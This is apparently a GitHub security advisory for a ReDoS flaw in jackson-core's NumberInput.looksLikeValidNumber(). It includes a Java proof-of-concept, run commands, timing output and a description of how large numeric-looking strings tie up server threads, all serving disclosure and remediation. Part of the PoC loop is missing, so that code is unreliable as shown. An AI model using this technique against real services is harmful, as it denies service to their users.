GitHub Advisoryadvisory · Maven
GHSA-p6pp-m3f8-5c89 jackson-core: ReDoS: quadratic backtracking in NumberInput.PATTERN_FLOAT via looksLikeValidNumber()
HIGH
Official page ↗
- Aliases
- CVE-2026-89407
- Ecosystem
- Maven
- Packages
- com.fasterxml.jackson.core:jackson-core, tools.jackson.core:jackson-core
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-1333, CWE-400
- Reviewed
- 2026-10-01
Affected packages
• Maven com.fasterxml.jackson.core:jackson-core: >= 2.17.0, < 2.18.11 → fixed in 2.18.11
• Maven com.fasterxml.jackson.core:jackson-core: >= 2.19.0, < 2.21.7 → fixed in 2.21.7
• Maven com.fasterxml.jackson.core:jackson-core: >= 2.22.0, < 2.22.3 → fixed in 2.22.3
• Maven tools.jackson.core:jackson-core: >= 3.0.0, < 3.1.7 → fixed in 3.1.7
• Maven tools.jackson.core:jackson-core: >= 3.2.0, < 3.2.2 → fixed in 3.2.2
Description
Status
FULLY REPRODUCED with a clean, textbook empirical signature: measured runtime grew almost
exactly 4x for every doubling of input size across five consecutive doublings (5,000 → 160,000
characters), confirming O(n²) behavior. A single 160,000-character string (smaller than a typical
HTTP request body) took 74.4 seconds for one call to `NumberInput.looksLikeValidNumber()`.
Affected Component / Version
• Package: `com.fasterxml.jackson.core:jackson-core`
• Confirmed against: `jackson-core-2.20.2`
• Affected file: `src/main/java/com/fasterxml/jackson/core/io/NumberInput.java`
(`PATTERN_FLOAT` line ~41-42, `PATTERN_FLOAT_TRAILING_DOT` line ~51, entry point
`looksLikeValidNumber()` lines ~646-656)
Technical Analysis
```java
private final static Pattern PATTERN_FLOAT = Pattern.compile(
"[+-]?[0-9]*[\\.]?[0-9]+([eE][+-]?[0-9]+)?");
private final static Pattern PATTERN_FLOAT_TRAILING_DOT = Pattern.compile(
"[+-]?[0-9]+[\\.]");
public static boolean looksLikeValidNumber(final String s) {
// ... short-circuits only for null/empty/length==1 ...
return PATTERN_FLOAT.matcher(s).matches()
|| PATTERN_FLOAT_TRAILING_DOT.matcher(s).matches();
}
```
`PATTERN_FLOAT` contains ambiguous, adjacent quantifiers over the identical character class:
`[0-9]*` (optional digits), an optional `[.]`, then `[0-9]+` (required digits). Java's
backtracking `Pattern`/`Matcher` engine has no possessive quantifiers or atomic grouping here,
so on a non-matching input the engine must explore every possible split point between the
`[0-9]*` and `[0-9]+` groups before concluding failure — the classic quadratic-backtracking
shape. `looksLikeValidNumber()` compounds the cost by running a second full-string regex
(`PATTERN_FLOAT_TRAILING_DOT`) whenever the first fails, roughly doubling the constant factor
without changing the asymptotic class.
Critically, the length gate that applies to this specific path is
`StreamReadConstraints.maxStringLength` (default 20,000,000), not `maxNumberLength`
(default 1,000) — the length ceiling the library uses everywhere else for numeric content.
This means inputs up to four orders of magnitude larger than the library's own numeric-length
policy reach this quadratic regex unmodified.
Reproduction Procedure
Same clone/build steps as `jackson-core_1_...md`. Then:
```bash
CP="build/classes:build/lib/fastdoubleparser-2.0.1.jar"
javac -cp "$CP" -d poc poc/PoC8_NumberInputReDoS.java
java -cp "poc:$CP" PoC8_NumberInputReDoS
```
Full PoC Source (`poc/PoC8_NumberInputReDoS.java`)
```java
import com.fasterxml.jackson.core.io.NumberInput;
public class PoC8_NumberInputReDoS {
public static void main(String[] args) {
int[] sizes = {5_000, 10_000, 20_000, 40_000, 80_000, 160_000};
long[] timesMs = new long[sizes.length];
System.out.println("Timing NumberInput.looksLikeValidNumber( + 'x') for growing n:\n");
for (int i = 0; i n=%d : %dms -> %dms (ratio=%.2fx)%n",
sizes[i - 1], sizes[i], timesMs[i - 1], timesMs[i], ratio);
if (ratio >= 3.0) quadraticSignatureObserved = true;
}
System.out.println("\nLargest test (n=" + sizes[sizes.length - 1] + ") took " + timesMs[timesMs.length - 1]
+ " ms for a single call from ONE HTTP-body-sized string.");
System.out.println("\ncom.fasterxml.jackson.core.StreamReadConstraints.DEFAULT_MAX_STRING_LENGTH (20,000,000) "
+ "governs this path, not maxNumberLength (1,000).");
if (quadraticSignatureObserved) {
System.out.println("\n=> REPRODUCED: superlinear (>=3x per doubling) time growth observed, consistent "
+ "with quadratic backtracking in PATTERN_FLOAT on non-matching input.");
}
}
static String repeat(char c, int n) {
char[] arr = new char[n];
java.util.Arrays.fill(arr, c);
return new String(arr);
}
}
```
Captured Evidence (actual run output)
```
Timing NumberInput.looksLikeValidNumber( + 'x') for growing n:
n=5000 looksLikeValidNumber=false elapsed= 74 ms
n=10000 looksLikeValidNumber=false elapsed= 306 ms
n=20000 looksLikeValidNumber=false elapsed= 1157 ms
n=40000 looksLikeValidNumber=false elapsed= 4655 ms
n=80000 looksLikeValidNumber=false elapsed= 18592 ms
n=160000 looksLikeValidNumber=false elapsed= 74393 ms
Ratio of elapsed time when n doubles (expect ~2x for linear, ~4x for quadratic):
n=5000 -> n=10000 : 74ms -> 306ms (ratio=4.14x)
n=10000 -> n=20000 : 306ms -> 1157ms (ratio=3.78x)
n=20000 -> n=40000 : 1157ms -> 4655ms (ratio=4.02x)
n=40000 -> n=80000 : 4655ms -> 18592ms (ratio=3.99x)
n=80000 -> n=160000 : 18592ms -> 74393ms (ratio=4.00x)
Largest test (n=160000) took 74393 ms for a single call from ONE HTTP-body-sized string.
=> REPRODUCED: superlinear (>=3x per doubling) time growth observed, consistent with quadratic
backtracking in PATTERN_FLOAT on non-matching input.
```
This is an unusually clean empirical result: five consecutive doublings each produced a ratio
between 3.78x and 4.14x — matching the theoretical O(n²) prediction (ratio = 4.0x) to within
5% at every single measurement, leaving essentially no ambiguity about the complexity class.
Extrapolating this measured curve, a ~1MB string (well within common request body limits) would
take on the order of hours for a single call.
Impact
Any application that coerces a String-typed JSON field to a number (default `jackson-databind`
behavior) is exposed: an attacker who can submit a large numeric-looking string (up to
`maxStringLength`'s default of 20,000,000 characters — far larger than needed given the
measured curve) can pin a request-handling thread for an extended period with a single request.
Because the cost scales quadratically, a handful of concurrent moderately-sized requests
(tens to low hundreds of KB each) is sufficient to exhaust a typical web server's worker thread
pool, denying service to all users.
Remediation
1. Rewrite `PATTERN_FLOAT` without quantifier ambiguity using possessive quantifiers, e.g.
`[+-]?(?:[0-9]++(?:\.[0-9]*+)?|\.[0-9]++)(?:[eE][+-]?[0-9]++)?`, which also folds in the
trailing-dot case and removes the need for a second full-string scan.
2. Better: replace the regex entirely with a single-pass hand-written character scan — the same
file already contains exactly this pattern for `parseInt`, so the library has both the
precedent and the code style available.
3. Apply an independent length limit (`maxNumberLength`, not the much larger
`maxStringLength`) before calling `looksLikeValidNumber()`, closing the four-orders-of-
magnitude gap between the two constraints for this specific code path.
4. Operationally, until fixed: tighten `StreamReadConstraints.maxStringLength` well below its
default, and set wall-clock timeouts on parse/coercion operations.
Related
Alias · CVE (1)
- CVE-2026-89407 NumberInput.looksLikeValidNumber() in FasterXML jackson-core pre-validates "stringified numbers" with two regular expressions:… vulnerability
References
- https://github.com/FasterXML/jackson-core/security/advisories/GHSA-p6pp-m3f8-5c89 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-89407 advisory
- https://github.com/FasterXML/jackson-core/issues/1649 web
- https://github.com/FasterXML/jackson-core/pull/1650 web
- https://github.com/FasterXML/jackson-core/pull/1701 web
- https://github.com/FasterXML/jackson-core/commit/731e794f62623aa0d86ced52490166be903fbb1d web
- https://github.com/FasterXML/jackson-core/commit/e7acd64cc99bd346704423dc2bfea1ab0a08ddff web
- https://github.com/FasterXML/jackson-core package